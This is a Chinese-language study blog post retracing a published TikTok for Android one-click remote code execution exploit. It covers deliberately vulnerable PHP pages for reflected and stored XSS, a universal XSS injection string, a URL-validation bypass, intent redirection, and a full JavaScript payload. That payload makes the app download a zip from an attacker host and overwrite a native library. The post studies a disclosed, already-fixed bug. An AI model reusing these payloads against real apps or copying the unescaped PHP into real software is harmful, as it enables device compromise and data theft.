国外大神 TikTok for Android 1-Click RCE 过程学习记录

TikTok for Android 1-Click RCE 原文地址:传送门
作者Sayed Abdelhafiz, 需要科学。

主要阅读 + 理解其漏洞探寻和利用的过程。Let’s begin!

1

这一部分主要提到了tiktok上的一个XSS, 什么是XSS?

XSS

cross-site script 跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

仿照别人写了两段不加防范的网页,容易被XSS攻击。

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS</title> 
</head> 
<body> 
<form action="" method="get"> 
<input type="text" name="input">     
<input type="submit"> 
</form> 
<br> 
<?php 
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?> 
</body> 
</html> 

效果是这样,用一些小小的技巧,就能将一段自己的script注入。

在这里插入图片描述

然后这个网页

<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>  
<html>  
<head>  
<title>XssStorage</title>  
</head>  
<body>  
<h2>Message Board<h2>  
<br>
<form action="2.php" method="post">  
Message:<textarea id='Mid' name="desc"></textarea>  
<br>  
<br>  
Subuser:<input type="text" name="user"/><br> 
<br>
<input type="submit" value="submit" onclick='loction="2.php"'/>  
</form>  
<?php  
if(isset($_POST['user'])&&isset($_POST['desc'])){  
$log=fopen("sql.txt","a");  
fwrite($log,$_POST['user']."\r\n");  
fwrite($log,$_POST['desc']."\r\n");  
fclose($log);  
}  
    
if(file_exists("sql.txt"))  
{  
$read= fopen("sql.txt",'r');  
while(!feof($read))  
{  
    echo fgets($read)."</br>";  
}  
fclose($read);  
}  
?>  
</body>  
</html></span>  

这次会将获得的输入保存在模拟的数据库中,下次打开网页会从数据库中获取数据。这样,通过精心设计的输入,可以让破坏被注入数据库,下次打开网页效果还会保持:
在这里插入图片描述
在这里插入图片描述
最终的html中也被注入了alert语句
在这里插入图片描述

2

作者注意到,为了计算性能等原因,tiktok在加载页面后会通过android webview中的

public void evaluateJavascript(String script,
                               android.webkit.ValueCallback<String> resultCallback)

这个函数执行下面这段js代码:

JSON.stringify(window.performance.getEntriesByName('this.webviewURL') )

引号中的this.webviewURL 为从网页获取的一段字符串

qs: 这个webviewURL是从哪里输入获得的?

作者最终用 https://m.tiktok.com/falcon/#’),alert(1));// 作为this.webviewURL,则被执行的语句替换为了:

JSON.stringify(
    window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),
    alert(1)
);//') )

这样就能执行alert函数了。

这是一个Universal XSS, 类似m.tiktok.com/falcon/ 的链接都会触发类似的逻辑。

3

I have enabled WebViewDebug module to debug the WebView from my dev-tools in google chrome.

qs: 这一步不知道是什么操作?

webview支持intent,作者尝试用这种方式将控制转移到外部逻辑。但是遇到了2-click exploits问题。

4

之后他通过一些手段绕过了AddWikiActivity 的url validation ,主要想法是看到这样的验证代码:

if(!e.b(arg8)) {
    com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
    return false;
}
public static boolean b(String arg1) {
    return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}

tiktop的代码逻辑认为,如果不是http或者https的scheme,就不需要做验证了,因为肯定是无效的!所以可以在这里找机会注入我们的代码。

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
    "__callback_id": "0",
    "func": "openSchema",
    "__msg_type": "callback",
    "params": {
        "schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3E PoC %3C%2Fh1%3E%22)&disable_app_link=false"
    },
    "JSSDK": "1",
    "namespace": "host",
    "__iframe_url": "http://iframe.attacker.com/"
}));

qs: 这个函数在干什么?那一长串是什么格式? 我找到里面document.write(…PoC…) 这部分了,但是是怎么断句,把控制权转移出来的?

5

这一步是想要通过下面的语句调用 UserFavoritesActivity

location.replace("intent:#Intent;        			 component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;	package=com.zhiliaoapp.musically;										action=android.intent.action.VIEW;end;"
)

为了方便我把字符串分开了。

location.replace方法以给定的URL来替换当前的资源。

具体的语义还未深入了解,初步观察应该这个url就是通过intent调用 UserFavoritesActivity吧。

6

现在漏洞和注入的方式找到了,作者开始尝试通过将控制转移到一个下载/更新/安装的process TmaTestActivity,作者希望通过以特定的参数调用这个intent,最终达到用自己的文件覆盖库文件的目的

来看看过程,作者是结合自己逆向出的代码反推整体的逻辑。

private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
    String v0 = arg6.getQueryParameter("sdkUpdateVersion");
    String v1 = arg6.getQueryParameter("sdkVersion");
    String v6 = arg6.getQueryParameter("latestSDKUrl");
    SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
    v2.putString("sdk_update_version", v0).apply();
    v2.putString("sdk_version", v1).apply();
    v2.putString("latest_sdk_url", v6).apply();
    // !!!
    DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
    // 
    BundleHandlerParam v0_1 = new BundleHandlerParam();
    v6_1.setInitialParam(arg5, v0_1);
    // !!!
    ResolveDownloadHandler v5 = new ResolveDownloadHandler();
    // 
    v6_1.setNextHandler(((BaseBundleHandler)v5));
    // !!!
    SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
    // 
    v5.setNextHandler(((BaseBundleHandler)v6_2));
}

整体步骤有3个函数,我在上面用!!!标出来了。

public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
        // .....
      String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
      String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
    //   .....
      if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
          InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
          v10.appendLog("no need update remote basebundle version");
          arg15.isIgnoreTask = true;
          return arg15;
      }
    //   .....
      this.startDownload(v9, v10, arg15, v0, v8);
    //   .....

先看第一个函数,用来检查要安装的版本(通过sdkUpdateVersion这个参数获得)是否新于现有的版本,如果是才会更新。所以作者将这个参数设置为99.99.99。

顺着逻辑继续,是这样一段代码(作者说在startDownload 这个方法里)

// in startDownload Method
    v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
    v2.b = this.getMd5FromUrl(arg16);
  • v2.a 是下载路径,这里有一个问题是AppbrandContext需要实例化,作者花费了一些时间找到了他实例化的地方:

    preloadMiniApp通过调用功能ToutiaoJSBridge可以为我初始化实例!”, 稍后看看他怎么调用了这个功能。

  • v2.b是下载文件的md5sum值。这是什么?我大概查了一下:通过MD5值,来判断自己down的文件与服务器上的文件是否一致。也可以比较两个文件是否相同。不管了,暂时当作是一个校验和吧。

    这个值通过参数中的文件名直接获得:

    private String getMd5FromUrl(String arg3) {
        return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
    }
    

    命名方式需要按照:anything_{md5sum_of_file}.zip

然后就是解压和安装,代码有点长不粘贴在这里,放在his.java中了。就把他提到的一个小的注意点粘过来:

 if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
           goto label_2;
 }

这里需要设置arg7 = 0 跳过检查。

搞清楚逻辑后,最后注入的代码就是:

location.replace(
    "intent:#Intent; component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;  package=com.zhiliaoapp.musically;  action=android.intent.action.VIEW; end;")

document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
    window.name = "finished";
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "preloadMiniApp",
        "__msg_type": "callback",
        "params": {
            "mini_app_url": "https://microapp/"
        },
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://d.c/"
    })); // initialize Mini App
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "openSchema",
        "__msg_type": "callback",
        "params": {
            
      //      
            "schema": "aweme://wiki?url=javascript:location.replace(
     	%22                                       	  	 intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}
        %2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
        %26sdkUpdateVersion%3D1.87.1.11%23
        Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically
        
        %2Fcom.tt.miniapp.tmatest.TmaTestActivity
        %3Bpackage%3Dcom.zhiliaoapp.musically%
        3Baction
        %3Dandroid.intent.action.VIEW%3Bend%22)
        %3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
        },
     ///   
        
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://iframe.attacker.com/"
    })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
    setTimeout(function() {
        window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
            "__callback_id": "0",
            "func": "openSchema",
            "__msg_type": "callback",
            "params": {
                
                //
                "schema": "aweme://wiki?url=javascript:location.replace(
                %22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent
                %3Dcom.zhiliaoapp.musically
                
                %2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0
                %3Bpackage%3Dcom.zhiliaoapp.musically
                %3BS.miniapp_url%3Dhttps%3Bend%22)
            %3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
            },
            /                                               
                                                           
            "JSSDK": "1",
            "namespace": "host",
            "__iframe_url": "http://iframe.attacker.com/"
        })); // load the malicious library after overwrtting it.
    }, 5000);
}

注入的核心是两个很长的字符串,调用了前面说的location.replace来转移控制。我在代码中将很长的字符串分解开来了,并前后用注释符标注,方便观看。

前面这个主要是执行一开始的目标,TmaTestActivity。

后面这个的作用是:上述流程一般只有在重启app的时候才会发生,通过调用MiniappTabActivity0可以替代重启。

然后攻击就成功了。不久后tiktok修复了这个漏洞。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值